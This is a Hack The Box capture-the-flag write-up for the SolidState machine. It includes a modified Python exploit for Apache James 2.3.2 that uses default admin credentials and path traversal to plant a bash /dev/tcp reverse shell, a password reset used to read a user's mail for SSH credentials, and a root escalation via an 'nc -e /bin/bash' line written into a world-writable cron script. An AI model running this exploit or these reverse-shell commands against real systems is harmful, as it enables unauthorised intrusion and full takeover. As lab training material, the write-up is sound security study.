SolidState Walkthrough

Machine: SolidState#

Date: 07-09-2025 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -p- -oN scans/nmap.txt IP

Results:#

Port 22 → OpenSSH 7.4p1
Port 25 → smtpd 2.3.2
Port 80 → Apache httpd 2.4.25
Port 110 → pop3 2.3.2
Port 119 → nntpd
Port 4555 → james-admin

Notes:#

Web page with a form on port 80

📂 Enumeration#

Dirb / Gobuster:#

gobuster dir -u http://10.10.10.51/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,301,302 -b ""

Found /images/
Found /assets/ Accesing http://10.10.10.51/assets we can see a file system directory with:
css/
fonts/
js/
sass/

💥 Exploitation#

There is a CVE for the Apache James 2.3.2 in port 4555: [[https://www.exploit-db.com/exploits/35513]] The expolit has to be modified to execute it, as it comes to some failures/adaptations to python3:

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
payload='bash -i >& /dev/tcp/10.10.14.3/4432 0>&1'
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]

def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print("[+]Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    time.sleep(10)
    s.recv(1024)
    s.send((user + "\n").encode())
    time.sleep(5)
    s.recv(1024)
    s.send((pwd + "\n").encode())
    time.sleep(5)
    s.recv(1024)
    print("[+]Creating user...")
    s.send(("adduser ../../../../../../../../etc/bash_completion.d exploit\n").encode())
    time.sleep(5)
    s.recv(1024)
    s.send(("quit\n").encode())
    s.close()

    print("[+]Connecting to James SMTP server...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    time.sleep(5)
    s.send(("ehlo [email protected]\r\n").encode())
    recv(s)
    print("[+]Sending payload...")
    time.sleep(5)
    s.send(("mail from: <'@team.pl>\r\n").encode())
    time.sleep(3)
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send(("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n").encode())
    time.sleep(5)
    recv(s)
    s.send(("data\r\n").encode())
    time.sleep(5)
    recv(s)
    s.send("From: [email protected]\r\n".encode())
    s.send("\r\n".encode())
    s.send("'\n".encode())
    s.send((payload + "\n").encode())
    s.send("\r\n.\r\n".encode())
    time.sleep(5)
    recv(s)
    s.send("quit\r\n".encode())
    time.sleep(5)
    recv(s)
    s.close()
    print("[+]Done! Payload will be executed once somebody logs in.")
except:
    print("Connection failed.")

Now this exploit will be executed once the user logs in

We can change the password of any user using:

mountainflayer ~/Documents/HTB/Machines/SolidState: telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
[REDACTED]
Welcome root. HELP for a list of commands
setpassword mindy writeup
Password for mindy reset
^Cquit
quit
Connection closed by foreign host.

Now we can connect to the service running on port 110 (A email server) as the user whose we changed the password and read her emails.

  mountainflayer   ~/Documents/HTB/Machines/SolidState  telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
ls
-ERR
help
-ERR
USER
-ERR
USER mindy
+OK
PASS writeup
+OK Welcome mindy
help
-ERR
LIST
+OK 2 1945
1 1109
2 836
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

Respectfully,
James
.


q
-ERR
LIST
+OK 2 1945
1 1109
2 836
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: [REDACTED]

Respectfully,
James

.
quit
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.

We can see in one of the emails a password for the service ssh, we can now try to connect via ssh with the user mindy and password [REDACTED]

Before we log in (and execute the payload we already preapred with the exploit previously), we have to open a netcat listener on the port specified on the exploit:

nc -lvp 4432

and then we log in via ssh:

ssh [email protected]

And we can see appear the reverse shell on our shell where we had the nc -lvp XXXX:

mountainflayer ~/.local/share/asciiart: nc -lvp 4432
^[
Connection from 10.10.10.51:46752
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami
whoami
mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls
ls
bin
user.txt
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cat user.txt
cat user.txt
`[FLAG REDACTED]`

Result: access as user mindy#

⚡ Privilege Escalation#

We downloaded the linpeas tool and uploaded to the server:

 mountainflayer ~/Documents/HTB/Machines/SolidState: wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
--2025-09-14 19:56:09--  https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
.
.
.
Saving to: ‘linpeas.sh’

linpeas.sh                              100%[============================================================================>] 939.29K  --.-KB/s    in 0.1s

2025-09-14 19:56:10 (8.39 MB/s) - ‘linpeas.sh’ saved [961834/961834]

 mountainflayer ~/Documents/HTB/Machines/SolidState: python3 -m http.server 8000

On the victim side:

  mountainflayer   ~/.local/share/asciiart  nc -lvp 4432
Connection from 10.10.10.51:46756
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ wget http://10.10.14.3:8000/linpeas.sh
wget http://10.10.14.3:8000/linpeas.sh
--2025-09-14 14:00:21--  http://10.10.14.3:8000/linpeas.sh
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [application/x-sh]
Saving to: ‘linpeas.sh’

     0K .......... .......... .......... .......... ..........  5%  552K 2s
    50K .......... .......... .......... .......... .......... 10% 1.14M 1s
   100K .......... .......... .......... .......... .......... 15% 4.83M 1s
   150K .......... .......... .......... .......... .......... 21% 1.43M 1s
   200K .......... .......... .......... .......... .......... 26% 5.61M 1s
   250K .......... .......... .......... .......... .......... 31% 5.43M 0s
   300K .......... .......... .......... .......... .......... 37% 8.06M 0s
   350K .......... .......... .......... .......... .......... 42% 7.02M 0s
   400K .......... .......... .......... .......... .......... 47% 2.71M 0s
   450K .......... .......... .......... .......... .......... 53% 7.02M 0s
   500K .......... .......... .......... .......... .......... 58% 7.98M 0s
   550K .......... .......... .......... .......... .......... 63% 9.62M 0s
   600K .......... .......... .......... .......... .......... 69% 10.0M 0s
   650K .......... .......... .......... .......... .......... 74% 9.85M 0s
   700K .......... .......... .......... .......... .......... 79% 11.5M 0s
   750K .......... .......... .......... .......... .......... 85% 12.3M 0s
   800K .......... .......... .......... .......... .......... 90% 7.11M 0s
   850K .......... .......... .......... .......... .......... 95% 12.2M 0s
   900K .......... .......... .......... .........            100% 13.2M=0.3s

2025-09-14 14:00:21 (3.32 MB/s) - ‘linpeas.sh’ saved [961834/961834]

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ./linpeas.sh
./linpeas.sh
bash: ./linpeas.sh: Permission denied
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ chmod +x linpeas.sh
chmod +x linpeas.sh
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ./linpeas.sh
./linpeas.sh

.
.
.

                                ╔════════════════╗
════════════════════════════════╣ API Keys Regex ╠════════════════════════════════
                                ╚════════════════╝
Regexes to search for API keys aren't activated, use param '-r'


${debian_chroot:+($debian_chroot)}mindy@solidstate:~$

We test a CVE that mentions linpeas: CVE-2021-4034

We compile it for the i686 architecture but the victims doesn’t have libc library needed.

We find a file in /opt/tmp.py that everyone can modify, and we can see that it executes a cleanup of the /tmp, if we leave some file in /tmp we see that the file is erased after a little bit of time, so this script is being executed by root every period os time (probable with cron). If we modify the file, we can make the root to execute whatever we want, we can pass it with an echo command:

echo '#!/usr/bin/env python\nimport os,sys\ntry: os.system("nc -e /bin/bash 10.10.14.3 7777")\nexcept: sys.exit()' > tmp.py

We start the netcat listener on another shell:

nc -lvp 7777

And then we receive the root shell:

 mountainflayer ~/Documents/HTB/Machines/SolidState/CVE-2021-4034-main/CVE-2021-4034 git-[ main]-: nc -lvp 7777
Connection from 10.10.10.51:44716
whoami
root
cat /root/root.txt
`[FLAG REDACTED]`

Succesful scalated:#

root

🎯 Loot / Flags#

user.txt: [FLAG REDACTED]
root.txt: [FLAG REDACTED]

📝 Lessons Learned#

Check all information from linPEAS
Don’t get stucked on searching for a web vulnerability without view all the surface

#Linux #HTB #Enumeration #Web #Gobuster #SMTP #POP3 #NNTP #ApacheJames #CVE #Exploit #ReverseShell #Telnet #EmailEnumeration #SSH #LinPEAS #CronJobs #PrivilegeEscalation #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.